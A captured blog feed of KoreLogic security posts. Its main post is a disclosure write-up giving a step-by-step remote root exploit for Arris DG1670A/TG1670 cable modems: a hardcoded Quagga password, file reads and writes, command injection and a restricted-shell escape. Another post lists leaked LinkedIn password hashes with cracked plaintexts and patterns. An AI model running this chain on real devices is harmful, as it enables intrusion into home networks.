Quantcast
Channel: KoreBlog
Viewing all 78 articles
Browse latest View live

Hacking an Arris Cablemodem

$
0
0

Welcome to part four in our four part series on firmware and embedded devices. In our final part, we will discuss a remote root vulnerability in a popular cable modem. Awhile ago, we were shown the administrator portal for a particular cable modem vendor. Old school, right? Still, what an interesting attack vector, we thought. We realize ISPs need some degree of access in order to properly provision modems, but how much should you trust your ISP (and who they partner with) to make security decisions for you? Personally, we only believe in what can be measured and this meant our hands needed to get dirty... Don't worry root, we're coming for you!

Finding information about our target modem (Arris DG1670A/TG1670) was difficult. We discussed it with our ISP at length, but to no avail. This included sales, field technicians, and customer support at various escalation levels. Nobody would talk. What's worse was that all of our research was turning up no other information. The search went on for quite some time.

On August 28, 2015 a user on GitHub by the name of GuerrillaWarfare posted a new repository named Junkyard. A link to it even ended up on /r/netsec from reddit. The repository had firmware images for popular cable modems. Albiet a slightly older revision, ours target was on the list!

  Repository: https://github.com/GuerrillaWarfare/Junkyard 
  Filename:   TS0801102P_100714_NA.16XX.GW.ATOM.img

The firmware images and supporting documentation within the repository listed above vanished during our disclosure process. If you're truly interested though, you may still be able to locate it as deleting things from the internet is a... tad difficult.

Below is a listing of the squashfs-root directory contained within the image:

  bin  etc  gw.fsname  include  linuxrc  nvram  sbin     share  tmp  var      version
  dev  fss  hdisk1     lib      mnt      proc   scripts  sys    usr  var.tar  vop

The default IP address assigned to our Arris modem is 192.168.100.1, which is conveniently routable from networks where the modem is attached. Below is the Nmap output of services listening on the default IP address:

  # sudo nmap -T5 -sU -sT -p- 192.168.100.1
  Nmap scan report for 192.168.100.1
  Host is up (0.0053s latency).
  PORT     STATE SERVICE  VERSION
  80/tcp   open  http     lighttpd
  443/tcp  open  ssl/http lighttpd
  2602/tcp open  ripd?
  8080/tcp open  http     lighttpd

A service listening on port 2602 is usually associated with Quagga. Going back to the squashfs-root directory, if you grep through the content of the file system there are several .conf files containing cleartext passwords. One of the files containing passwords is called zebra.conf. We decided to use this passphrase on the Quagga telnet console.

  # grep -ri "password" *.conf | more
  etc/default/ripngd.conf:password JhAkuo18
  etc/default/zebra.conf:password JhAkuo18
  etc/default/ripd.conf:password JhAkuo18

  $ telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.

  Hello, this is Quagga (version 0.99.16).
  Copyright 1996-2005 Kunihiro Ishiguro, et al.


  User Access Verification

  Password:
  PROMPT>

Entering a '?' at any point gives context-sensitive help text. There are several layers of privilege, though there are no restrictions on elevation - knowing the right commands is enough. Quagga is an open-source routing daemon commonly found in routers, access points, and modems. In this particular case, it has been implemented on the cable modem to facilitate route provisioning from ISP onto the public internet. (Note, we don't think current, default Quagga installs are vulnerable/exploitable; see the advisory.)

  PROMPT> ?
    echo      Echo a message back to the vty
    enable    Turn on privileged mode command
    exit      Exit current mode and down to previous mode
    help      Description of the interactive help system
    list      Print command list
    quit      Exit current mode and down to previous mode
    show      Show running system information
    terminal  Set terminal line parameters
    who       Display who is on vty
  PROMPT> enable
  PROMPT# ?
    clear      Reset functions
    configure  Configuration from vty interface
    copy       Copy configuration
    debug      Debugging functions (see also 'undebug')
    disable    Turn off privileged mode command
    echo       Echo a message back to the vty
    end        End current mode and change to enable mode.
    exit       Exit current mode and down to previous mode
    help       Description of the interactive help system
    list       Print command list
    logmsg     Send a message to enabled logging destinations
    no         Negate a command or set its defaults
    quit       Exit current mode and down to previous mode
    show       Show running system information
    terminal   Set terminal line parameters
    who        Display who is on vty
    write      Write running configuration to memory, network, or terminal
  PROMPT# configure ?
    terminal  Configuration terminal
  PROMPT# configure terminal
  PROMPT(config)# ?
    access-list  Add an access list entry
    banner       Set banner string
    debug        Debugging functions (see also 'undebug')
    enable       Modify enable password parameters
    end          End current mode and change to enable mode.
    exit         Exit current mode and down to previous mode
    help         Description of the interactive help system
    hostname     Set system's network name
    interface    Select an interface to configure
    ip           IP information
    ipv6         IPv6 information
    key          Authentication key management
    line         Configure a terminal line
    list         Print command list
    log          Logging control
    no           Negate a command or set its defaults
    password     Assign the terminal connection password
    quit         Exit current mode and down to previous mode
    route-map    Create route-map or enter route-map command mode
    router       Enable a routing process
    service      Set up miscellaneous service
    show         Show running system information
    write        Write running configuration to memory, network, or terminal

We assert that the service message of the day banner can be abused to allow for arbitrary file reading. We also assert that the logging mechanism can be abused to allow for meaningful writes. Since we have yet to see an embedded device properly segment user privilege, we make these assertions based upon the assumption that the user running the Quagga daemon is root. The combination of these factors can be used to obtain remote command execution on the underlying operating system of the modem.

  PROMPT(config)# banner motd file ?
    file  Banner from a file
  PROMPT(config)# log file ?
    FILENAME  Logging filename
  PROMPT(config)# exit
  PROMPT# log notifications ?
    MESSAGE  The message to send 

Reading arbitrary files:

  PROMPT(config)# banner motd file /etc/shadow

  # telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.
  root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7:::

  User Access Verification

  Password:

The successful response also indicates our assumption is likely correct and that the user root is running the Quagga daemon. By the way, the password for the hash shown above is not too hard to guess. Cracking it is left as an excercise for the reader.

Meaningful file writes:

  PROMPT# configure terminal
  PROMPT(config)# banner motd file /var/tmp/kore-log.txt
  PROMPT(config)# log file /var/tmp/kore-log.txt
  PROMPT(config)# exit
  PROMPT# log notifications KORELOGIC

  # telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.
  2015/09/10 07:16:50 RIP: KORELOGIC

  User Access Verification

  Password:

It appears as though we can write files. After further testing, we confirmed that file permissions (and read-only mounted filesystems) heavily restrict the locations where writes are allowed. Getting past the leading date/time prefix prior to attacker input was an initial concern. However, this proved easy to get around with some shell fu.

Separately, we had noted the existance of several symlinks within the web root that pointed to writable directories.

  # ls -la usr/www/*.sh
  lrwxrwxrwx 1  usr/www/guioff.sh -> /var/tmp/guioff.sh
  lrwxrwxrwx 1  usr/www/guion.sh -> /var/tmp/guion.sh

  # cat var/tmp/guion.sh
  echo 1 > /nvram/8/guiflag

  # cat var/tmp/guioff.sh
  echo 0 > /nvram/8/guiflag

After reviewing the lighttpd.conf file, we could see there was, in fact, a handler defined for shell scripts.

  #ARRIS CHANGE BEGIN
  #### CGI module
  cgi.assign                = ( ".pl"  =>"/usr/bin/perl",
                                ".cgi" =>"/usr/bin/perl",
                                ".sh"  =>"/bin/sh",
                                "/walk"  =>"/fss/gw/usr/bin/web2snmp",
                                 "/snmpSet" =>"/fss/gw/usr/bin/web2snmp",
                                 "/snmpGet" =>"/fss/gw/usr/bin/web2snmp",
                                 "/login" =>"/fss/gw/usr/bin/web2snmp",
                                 "/backup" =>"/fss/gw/usr/bin/web2snmp",
                                 "/restore" =>"/fss/gw/usr/bin/web2snmp",
                                 "/hsd" =>"/fss/gw/usr/bin/web2snmp",
                                 "/setPassword" =>"/fss/gw/usr/bin/web2snmp",
  # UNIHAN ADD START
                                 "/storelog" =>"/fss/gw/usr/bin/web2snmp",
                                 "/checkPassword" =>"/fss/gw/usr/bin/web2snmp"
  # UNIHAN ADD END
                              )

We knew we could write to the /var/tmp/ directory because we had been previously using it for temporary file storage. Using a simple shell pipe (i.e., '|') to ignore the leading date/time prefix solved the problem of not being able to control log data before our command string.

  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/guion.sh
  PROMPT(config)# exit
  PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1`
  PROMPT# configure terminal
  PROMPT(config)# banner motd file /var/tmp/shell.txt

Followed by a GET request:

  GET /guion.sh HTTP/1.1
  Host: 192.168.100.1:8080
  User-Agent: Mozilla/5.0
  Accept: text/plain, */*; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  DNT: 1
  X-Requested-With: XMLHttpRequest
  Connection: close

And response:

  HTTP/1.1 200 OK
  Content-Length: 0
  Date: Wed, 09 Sep 2015 20:28:55 GMT
  Server: lighttpd

Now we telnet:

  $ telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.
  Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux

  User Access Verification

  Password:

The disclosure process was pretty routine. Along the way, we noticed some other vulnerabilities being dropped that were similiar to ours.

Example: https://w00tsec.blogspot.com/2015/11/arris-cable-modem-has-backdoor-in.html

Although w00tsec discusses a newer revivision of the firmware, almost everything is applicable. The CGI page where they enable SSH (tech_support_cgi) with mini_cli does not exist in the version we have, that's the only difference we observed though. The w00tsec research team discusses a new attack which partially leverages an older vulnerability relating to the password of the day authentication feature. The seed value used is well known and they were able to make use of this knowledge in their attack against the authentication requirement for tech_support_cgi. This page let them enable the mini_cli shell. It was a good read.

We still wanted a full shell though. It would be easy to do from here, but not as fun as leveraging more vulnerabilities to do the same thing. So.. Now we'll combine the discoveries by w00tsec with those of our own and bring a full root shell to the DG1670A/TG1670!

First we logged into Quagga:

  # telnet 192.168.100.1 2602
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.

  Hello, this is Quagga (version 0.99.16).
  Copyright 1996-2005 Kunihiro Ishiguro, et al.


  User Access Verification

  Password: 
  PROMPT> enable
  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/guioff.sh
  PROMPT(config)# exit
 

Below is a useful symlink we will abuse in our attack to obtain a copy of NVRAM:

lrwxr-xr-x    1  ts_report.log.txt -> /var/log/trouble_report.txt

We need to obtain NVRAM like so:

  PROMPT# log notifications | cat /dev/mmcblk0p3 >> /var/log/trouble_report.txt

We will need to download trouble_report.txt later.

  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/guion.sh         
  PROMPT(config)# exit

We also set up to start telnetd with the mini_cli shell. This is the same shell w00tsec abuses in their blog.

PROMPT# log notifications | /sbin/utelnetd -l /usr/sbin/mini_cli

Some clean up:

  PROMPT# configure terminal
  PROMPT(config)# log file /var/tmp/kore.log
  PROMPT(config)# quit

Now we can kick off our attack. First we start by executing guioff.sh on the modem so that a copy of NVRAM can be obtained.

  # curl -v http://192.168.100.1:8080/guioff.sh
  *   Trying 192.168.100.1...
  * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0)
  > GET /guioff.sh HTTP/1.1
  > Host: 192.168.100.1:8080
  > User-Agent: curl/7.43.0
  > Accept: */*
  >< HTTP/1.1 200 OK
  < Content-Length: 0
  < Date: Sun, 22 Nov 2015 09:01:11 GMT
  < Server: lighttpd
  < 
  * Connection #0 to host 192.168.100.1 left intact

Next we will wget the NVRAM file from the modem:

  # wget http://192.168.100.1:8080/ts_report.log.txt
  --2015-11-22 09:01:44--  http://192.168.100.1:8080/ts_report.log.txt
  Connecting to 192.168.100.1:8080... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 2097152 (2.0M) [application/octet-stream]
  Saving to: "ts_report.log.txt"

  100%[===========================================>] 2,097,152   1.44MB/s   in 1.4s   

  2015-11-22 09:01:46 (1.44 MB/s) - "ts_report.log.txt" saved [2097152/2097152]

A quick file command on the file shows that it is a ext3 filesystem.

  # file ts_report.log.txt 
  ts_report.log.txt: Linux rev 1.0 ext3 filesystem data (needs journal recovery)
  # mv ts_report.log.txt nvram.ext3

Now to mount and get the password we need for the mini_cli service:

  # mkdir nvram; mount -o loop -t ext3 nvram.ext3 nvram/
  # ls nvram/
  0  1  2  3  6  8  lost+found  mocasave.conf  pcd_error_log.txt
  # cat nvram/1/100
  [redacted]

Sweet, we got our password. It doesn't follow the same structure as those discussed in the w00tsec research. It looks like our ISP has changed the seed.

It is our understanding that ISPs have the ability to change this password on a daily basis if they so desire. In practice though, it has not been our experience that this is the case. We've observed these passwords change in a non-deterministic pattern occuring once every month or so, your ISPs mileage may vary. The information redacted below contains the name of the ISP our target modem is connected to, and IP addresses to their NTP servers.

# cat nvram/8/bootfile.xml
<?xml version="1.0" encoding="UTF-8"?>

<deviceConfig version="1.0">
   <!-- generated Sun Nov 16:58:54 2015 UTC by [redacted] -->
   <wireless enabled="true">
      <ssid index="0" enabled="false"></ssid>
      <ssid index="1" enabled="false"></ssid>
      <ssid index="2" enabled="false"></ssid>
      <ssid index="3" enabled="false"></ssid>
   </wireless>
   <moca enabled="false"></moca>
   <ethernet enabled="true"></ethernet>
   <gateway>
      <ntp>
         <server>[redacted]</server>
         <server>[redacted]</server>
      </ntp>
      <firewall enabled="true">
         <ipFloodDetect>false</ipFloodDetect>
      </firewall>
   </gateway>
   <userAccounts>
      <account name="technician" enabled="true">
         <password>[redacted]</password>
      </account>
      <account name="root" enabled="true">
         <password>[redacted]</password>
      </account>
   </userAccounts>
</deviceConfig>

Anyhow, now we need to start the mini_cli shell. We'll call the guion.sh file which was modified to include commands that will start a telnet service with mini_cli as the shell.

  # curl -v http://192.168.100.1:8080/guion.sh
  *   Trying 192.168.100.1...
  * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0)
  > GET /guion.sh HTTP/1.1
  > Host: 192.168.100.1:8080
  > User-Agent: curl/7.43.0
  > Accept: */*
  >

It will hang until the shell is closed. Go ahead and telnet to port 23.

  # telnet 192.168.100.1
  Trying 192.168.100.1...
  Connected to 192.168.100.1.
  Escape character is '^]'.



                             `!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM::~
                                 ``!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM!:~` ~   
                                      !MMMMMMMMMMMMMMMMMMMMMMM!:`     :~~     
                                       :MMMMMMMMMMMMMMMM!~        :~~~~       
                                     .:MMMMMMMMMM!:~           ~~~~~~         
                                ..:MMMMMMM!:~`             :~~~~~~~           
                           .:MMMMMM:~`                ::~~~~~~~~~             
                      .:MMMMM:~                    .!!!!!!: ~~~~              
                ..:MMM:~`                         .!!!!`      ~               
          ..:MM:~`                                !!`                         
     .:M:~` 


          AA              RRRRRRR          RRRRRRR          III         SSSSS  
         AAAA             RRRRRRRRR        RRRRRRRRR        III       SSSSSSSSS
        AAAAAA            RRR    RRR       RRR    RRR       III      SSS    SS 
       AAA  AAA           RRR   RRRR       RRR   RRRR       III       SSSS     
      AAA    AAA          RRRRRRRRR        RRRRRRRRR        III         SSSSSS 
     AAAAAAAAAAAA         RRR  RRR         RRR  RRR         III            SSSS
    AAA        AAA        RRR   RRR        RRR   RRR        III       SS    SSS
   AA            AA       RRR    RRR       RRR    RRR       III      SSSSSSSSS 
  A                A      RRR       R      RRR       R      III        SSSSS   


            Copyright ARRIS Enterprises, Inc. 2014 All rights reserved

Here we will input the password obtained from NVRAM:

  Enter password> [redacted]

This spawns the console:

  Spawning ARRIS Console

  Firmware Revision:      8.0.124

  [cut for length]

Next we enter the 'system' sub-menu.

  [  1] Console> system

Here is where the final payload is delivered. w00tsec shows (in assembly) how the restricted shell can be broken by appending a ; at the end of your restricted command followed by the busybox binary you with to run.

  [  2] System> ping ; sh
  ping -I wan0 ; sh 
  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary.

  Usage: ping [OPTIONS] HOST


  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash)
  Enter 'help' for a list of built-in commands.

  # 

In order to make exploitation easier, we've written an automated exploit: kl-arris-dg1670a-remote-root.py

  # python kl-arris-dg1670a-remote-root.py --host 192.168.100.1
  --------------------------------------------------------------------------------
                            Arris DG1670A/TG1670 remote root                            
                            Brought to you by KoreLogic                           
                                   @thatguylevel                                  
  --------------------------------------------------------------------------------

  [+] Testing connectivity to the Quagga service.
  [+] Connected to Quagga successfully.
  [+] Testing connectivity to the HTTP service.
  [+] Connected to HTTP successfully.
  [+] Getting Password-of-the-Day from NVRAM.
  [+] Setting up NVRAM attack against environment.
  [+] Getting NVRAM from HTTP service.
  [+] Mounting NVRAM partition.
  [+] Creating nvram/ directory.
  [+] Got Password-of-the-Day: [redacted]
  [+] Enabling Arris Mini CLI.
  [+] Configuring the Arris Mini CLI attack.
  [+] Started the Arris Mini CLI thread.
  [+] Sleeping for 10 seconds and triggering shell.
  [+] Running the poisoned HTTP shell handler.
  ping ; sh
  ping -I wan0 ; sh 
  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary.

  Usage: ping [OPTIONS] HOST


  BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash)
  Enter 'help' for a list of built-in commands.

  #

We notified Arris, who released updated firmware; our ISP has pushed the fix to our devices, but of course YMMV. We tested the file-read and file-write issues against the current release of Quagga and do not think it is affected. You can see more details in the advisory we published.

We hope you enjoyed reading this entry and the series overall. Shout out to w00tsec and #io @ Smash the Stack. Continue following our blog (and twitters: @CrackMeIfYouCan and @thatguylevel) for new vulnerabilities and exploitation techniques!

Protip: If Quagga isn't running, ask your ISP for a static IP address.


Update on Crack Me If You Can - DEFCON 2016

$
0
0

The @CrackMeIfYouCan team at KoreLogic has had a lot of questions about this year's DEFCON Crack Me If You Can (CMIYC) contest ...

The short answer is, we are not doing a CMIYC this year at DEFCON. That does not mean that 2015 was our last year, it just means we aren't doing one in 2016. It's been a very busy year for us so far, and CMIYC is a huge commitment on our schedules. We just cannot make it happen this year.

On a more personal note, I dreamed up CMIYC in 2010 with multiple goals in mind:

  • To improve the password cracking community using a contest as a teaching method.
  • To put pressure on tool authors to support hash algorithms that were not supported at the time.
  • To push password crackers into learning new skills, such as rule writing.
  • To help pull the password cracking community together so that we can show off our skills, and grow together.
  • For all of us to learn from what others are doing.
  • Persuade the best password cracking teams to share their skills, knowledge, wisdom, toolsets, etc.
  • To emphasize the importance of attacking password hashes with brains, not just computing-brawn.
  • Making Hashcat open-source^H^H^H^H^H^H^H^H^H^W^W^W

I feel like, as a community, we have met and exceeded all of these goals.

Some of the previous years' contests had certain themes based on what we thought were skills password crackers should have. They have included:

  • Rule writing
  • Wordlist creation
  • New hash formats
  • Working on a team in a way that doesn't duplicate effort
  • Hash extraction techniques
  • Attacking long but weak passphrases
  • Adapting to differing password strength enforcement rules
  • Non-US-English passwords, containing international characters

This leads us into another discussion. What skills do YOU think we should challenge the password cracking community with? (Please comment here, your own blog, twitter, etc.) One of the things that led us to the decision to not have the contest this year was that we were running out of ideas to challenge the password cracking community, without just getting silly and contrived. Look back at the 2010 contest, the teams that exist today would DESTROY that contest these days. The "tasks" presented in 2010 are rather tame compared to the ones we face daily as password crackers.

Please everyone stay in touch, we will see you next year.

- The @CrackMeIfYouCan Team

LinkedIn Revisited - Full 2012 Hash Dump Analysis

$
0
0

As you may know, a "full" dump of email addresses and password hashes for the Linkedin.com attack that occured in 2012 has become available. Here at KoreLogic, we got our hands on the list of emails and the separate list of passwords (but nothing linking the two together, which we don't want or need). We started to gather some statistics on them using our Password Recovery Service (PRS). The following analysis assumes the lists are real; due to the valid email addresses and confirming some of our own accounts' data from back then, we believe that the dump is real.

What we know so far:

It contains 164,590,819 unique email addresses.

It contains 177,500,189 unsalted SHA1 password hashes. Note that this is a larger number than the amount of email addresses.

It contains 61,829,207 unique hashes. This means there are duplicates, and this is good for password researchers because it allows us to come up with statistics of how often certain passwords are used.

As of Thursday May 19 14:09 EDT 2016, we've cracked 65% of the lists, after about two hours work on our private distributed cracking grid. Approximately 41,500,000 plain-text hashes have been recovered so far. There are literally thousands of new cracks coming in every minute, so the numbers are a bit rough.

The most common password hashes are:

Number | Hash
1135936 7c4a8d09ca3762af61e59520943dc26494f8941b
 207488 7728240c80b6bfd450849405e8500d6d207783b6
 188380 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
 149916 f7c3bc1d808e04732adf679965ccc34ca7ae3441
  95854 7c222fb2927d828af22f592134e8932480637c0d
  85515 3d4f2bf07dc1be38b20cd6e46949a1071f9d0e3d
  75780 20eabe5d64b0e216796e834f52d61fd0b70332fc
  51969 dd5fef9c1c1da1394d6d34b248c51be2ad740840
  51870 b1b3773a05c0ed0176787a4f1574ff0075f7521e
  51535 8d6e34f987851aa599257d3831a1af040886842f
  49235 c984aed014aec7623a54f0591da07a85fd4b762d
  41449 6367c48dd193d56ea7b0baad25b19455e529f5ee
  35919 d8cd10b920dcbdb5163ca0185e402357bc27c265
  34440 1411678a0b9e25ee2f7c8b2f7ac92b6a74b3f9c5
  32879 601f1889667efaebb33b8c12572835da3f027f78
  32289 ff539c96a2ed9f72a47a5e1c7d59e143ba1fba94
  30972 019db0bfd5f85951cb46e4452e9642858c004155
  30923 01b307acba4f54f55aafc33bb06bbbf6ca803e9a
  28928 775bb961b81da1ca49217a48e533c832c337154a
  28705 17b9e1c64588c7fa6419b4d29dc1f4426279ba01

These values crack to:

Number | Hash                                   | Plaintext
1135936 7c4a8d09ca3762af61e59520943dc26494f8941b 123456
 207488 7728240c80b6bfd450849405e8500d6d207783b6 linkedin
 188380 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password
 149916 f7c3bc1d808e04732adf679965ccc34ca7ae3441 123456789
  95854 7c222fb2927d828af22f592134e8932480637c0d 12345678
  85515 3d4f2bf07dc1be38b20cd6e46949a1071f9d0e3d 111111
  75780 20eabe5d64b0e216796e834f52d61fd0b70332fc 1234567
  51969 dd5fef9c1c1da1394d6d34b248c51be2ad740840 654321
  51870 b1b3773a05c0ed0176787a4f1574ff0075f7521e qwerty
  51535 8d6e34f987851aa599257d3831a1af040886842f sunshine
  49235 c984aed014aec7623a54f0591da07a85fd4b762d 000000
  41449 6367c48dd193d56ea7b0baad25b19455e529f5ee abc123
  35919 d8cd10b920dcbdb5163ca0185e402357bc27c265 charlie
  34440 1411678a0b9e25ee2f7c8b2f7ac92b6a74b3f9c5 666666
  32879 601f1889667efaebb33b8c12572835da3f027f78 123123
  32289 ff539c96a2ed9f72a47a5e1c7d59e143ba1fba94 linked
  30972 019db0bfd5f85951cb46e4452e9642858c004155 maggie
  30923 01b307acba4f54f55aafc33bb06bbbf6ca803e9a 1234567890
  28928 775bb961b81da1ca49217a48e533c832c337154a princess
  28705 17b9e1c64588c7fa6419b4d29dc1f4426279ba01 michael

The most common patterns used in the passwords are follows: (Updated May 20 11:00 EDT 2016)

?d = Digit [0-9]
?s = "Special Character" +_)*(&^%$#@!~`-=[]\{}|;':",./<>? ...etc.
?l = Lower case letter [a-z]
?u = Upper case letter [A-Z]

Number | Pattern
2464707 ?l?l?l?l?l?l?l?l    Example: linkedin
1776416 ?l?l?l?l?l?l?d?d    Example: linked12
1663330 ?l?l?l?l?l?l?l?l?l  Example: alinkedin
1587423 ?l?l?l?l?d?d?d?d    Example: link2012
1528434 ?l?l?l?l?l?l?l      Example: linkedi
1525784 ?l?l?l?l?l?l        Example: linked
1348195 ?d?d?d?d?d?d?d?d
1172612 ?l?l?l?l?l?l?l?l?l?l
1074096 ?l?l?l?l?l?d?d?d?d
1042003 ?d?d?d?d?d?d?d?d?d?d
 984939 ?l?l?l?l?l?l?d?d?d?d
 936771 ?l?l?l?l?l?l?l?d?d
 819341 ?l?l?l?d?d?d?d
 781166 ?d?d?d?d?d?d?d
 723656 ?l?l?l?l?l?d?d
 713165 ?l?l?l?l?l?l?l?l?l?l?l
 692280 ?l?l?l?l?l?d?d?d
 690521 ?d?d?d?d?d?d
 670878 ?l?l?l?l?l?l?l?l?d?d
 653118 ?l?l?l?l?l?l?l?d
 539001 ?l?l?l?l?l?l?d?d?d
 494526 ?l?l?l?l?d?d
 491474 ?l?l?d?d?d?d
 462250 ?l?l?l?l?l?l?l?l?l?l?l?l

The most common "base words" used in the passwords are shown below. These are calculated by taking all the recovered passwords, removing all special characters and digits, and then sorting the results. This was the initial technique used by KoreLogic in 2012 to determine that the set of ~6.5 million hashes found on a Russian message board was in fact from LinkedIn.com (which now appears to have been only a subset of this larger leak).

Number | Base word
  29883 linkedin    Examples: linkedin1 linkedin2012 linkedin!
  26194 link        Examples: link2012 2012link !!link!!
  21731 love
  19721 ever
  15574 linked
  14156 life
  11674 alex
  10773 mike
  10566 pass
   9540 john
   9176 blue
   8937 june
   8338 jack
   8006 july
   7305 home
   7205 star
   7094 password
   7005 angel

Update: May 19 15:53 EDT 2016

Here is a list of the most common domains used by the accounts in the dump. No real surprises here.

Number | Domain Name
32865035 gmail.com
24018467 hotmail.com
20361246 yahoo.com
 4268015 aol.com
 1977483 comcast.net
 1427168 yahoo.co.in
 1333354 msn.com
 1039135 sbcglobal.net
 1036522 rediffmail.com
  992936 yahoo.fr
  913406 yahoo.co.uk
  843158 live.com
  839735 yahoo.com.br
  748001 hotmail.co.uk
  740473 verizon.net
  574117 hotmail.fr
  549022 yahoo.com
  528635 ymail.com
  528040 cox.net
  509047 bellsouth.net
  503271 libero.it
  478587 att.net
  428930 yahoo.es
  406492 btinternet.com

Update: May 19 17:00 EDT 2016

42,691,862 unique passwords recovered so far; 69% of the unique hashes have cracked at this point.

Of the total 177,500,189 non-unique hashes leaked, there are 143,914,964 password hashes cracked, 33,585,225 left. That represents 81.07% of all LinkedIn.com users in the dump.

Update: May 20 10:00 EDT 2016

~48,520,000 unique passwords recovered so far; ~78% of the unique hashes have cracked at this point. And we have recovered the passwords for ~86% of all LinkedIn.com users in the dump.

~13,360,000 unique hashes left to crack ...

Update: May 20 11:00 EDT 2016

Here is a list of the most common email addresses without their domain. No real surprises here.

 555249 info@
  64325 john@
  60845 david@
  55525 mike@
  52685 chris@
  52251 mail@
  50654 sales@
  50444 mark@
  48006 steve@
  45872 paul@
  39051 contact@
  37424 linkedin@
  36511 peter@
  35818 michael@
  35770 admin@
  30473 dave@
  30034 tom@
  29102 jim@
  26872 jeff@

Update: May 20 18:00 EDT 2016

Our grid was busy doing client work for about 24 hours, so not many new cracks today. But here's some updated stats and analysis.

~49,290,000 unique passwords recovered so far.

~12,520,000 unique hashes left to crack.

5,184,351 of the recovered passwords are 8+ characters and contain one upper, one lower, and one digit.

825,975 of the recovered passwords are 8+ characters and contain one upper, one lower, and one digit and one special character.

The pattern distribution of these passwords closely resembles the findings of our PathWell research - they are heavily biased towards some universally common topologies:

  29742 ?u?l?l?l?l?l?s?d?d
  26640 ?u?l?l?l?l?l?d?d?s
  26287 ?u?l?l?l?l?s?d?d
  23830 ?u?l?l?l?l?l?s?d
  20296 ?u?l?l?l?l?l?d?s
  18365 ?u?l?l?l?l?d?d?s
  17390 ?u?l?l?l?s?d?d?d?d
  17085 ?u?l?l?l?l?l?l?d?s
  16723 ?u?l?l?l?l?l?l?s?d
  14989 ?u?l?l?l?l?l?l?s?d?d
  13565 ?u?l?l?l?l?s?d?d?d?d
  12986 ?u?l?l?l?l?l?l?d?d?s
  12590 ?u?l?l?s?d?d?d?d
  12305 ?u?l?l?l?l?s?d?d?d
  11280 ?u?l?l?l?l?l?l?l?d?s
  10991 ?u?l?l?l?d?d?d?d?s
  10822 ?u?l?l?l?l?l?s?d?d?d?d
  10796 ?u?l?l?l?s?d?d?d

The PACK output of the unqiue cracks so far (numbers rounded slightly):

[*] Length:
[+]                         8: 29% (14,620,000)
[+]                         9: 17% (8,430,000)
[+]                        10: 14% (6,950,000)
[+]                         7: 13% (6,660,000)
[+]                         6: 10% (5,410,000)
[+]                        11: 06% (3,270,000)
[+]                        12: 03% (1,930,000)
[+]                        13: 01% (921,000)
[+]                        14: 01% (508,000)
[+]                        15: 00% (263,000)
[+]                        16: 00% (159,000)

[*] Character-set:
[+]             loweralphanum: 48% (24,128,000)
[+]                loweralpha: 20% (10,303,000)
[+]             mixedalphanum: 10% (5,026,000)
[+]                   numeric: 08% (4,428,000)
[+]      loweralphaspecialnum: 02% (1,377,000)
[+]             upperalphanum: 01% (957,000)
[+]                       all: 01% (936,000)
[+]                mixedalpha: 01% (852,000)
[+]         loweralphaspecial: 01% (507,000)
[+]                upperalpha: 00% (431,000)
[+]         mixedalphaspecial: 00% (147,000)
[+]                specialnum: 00% (84,000)
[+]      upperalphaspecialnum: 00% (62,000)
[+]         upperalphaspecial: 00% (19,000)

Update: May 21 18:00 EDT 2016

~49,999,999 unique passwords recovered so far.

~11,863,000 unique hashes left to crack.

More updates to follow ...

For more of KoreLogic's talks about password recovery, check out the following videos of KoreLogic employee, and founder of PRS, Rick Redman:
Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014
Cracking Corporate Passwords: Why Your Password Policy Sucks

Cracking Grid — Essential Attributes

$
0
0

Here at KoreLogic, we are constantly cracking passwords — it's just one of the things we do. While we haven't made a concerted effort to track it, I'd venture to say that cracking for us is pretty close to a 24/7/365 operation. Between paid cracking engagements and penetration tests, our resident cracking expert, Rick, almost always has something cooking on our Distributed Cracking Grid ("Grid"). This week, it happens to be LinkedIn hashes. This level of uptime is made possible by the WebJob framework, the foundation upon which our Grid was built (check out this paper for a brief overview of the technology). WebJob's queuing system allows us to maintain a number of concurrent work orders at any given time. Today, for instance, we have 22 active work orders consisting of 151,995 jobs (or attacks) spread out over 35 queues. At any time, a single attack can be in one of several states (e.g., waiting, working, complete), and resources (i.e., GPU and CPU cores) can be shifted from queue to queue as needs dictate. Additionally, attacks within any given queue can be prioritized. All of this allows us to keep work orders active for days, weeks, or even months at a time, and that's pretty darn cool.

As the Grid's chief architect and primary developer, it's my job to keep the Grid running and add new features/capabilities over time. In this article, I'd like to share with you our aspirations and reasons for creating a cracking grid that is secure, distributed, scalable, and extensible.

Secure

With all the data breaches that have occurred and been reported on in recent years, it shouldn't take much to convince you that user credentials (and password hashes by extension) are highly sought after items. Armed with the correct set of credentials, an attacker can bridge the outsider/insider gap, and we all know that being an insider is a far better place to be when one is bent on doing bad things.

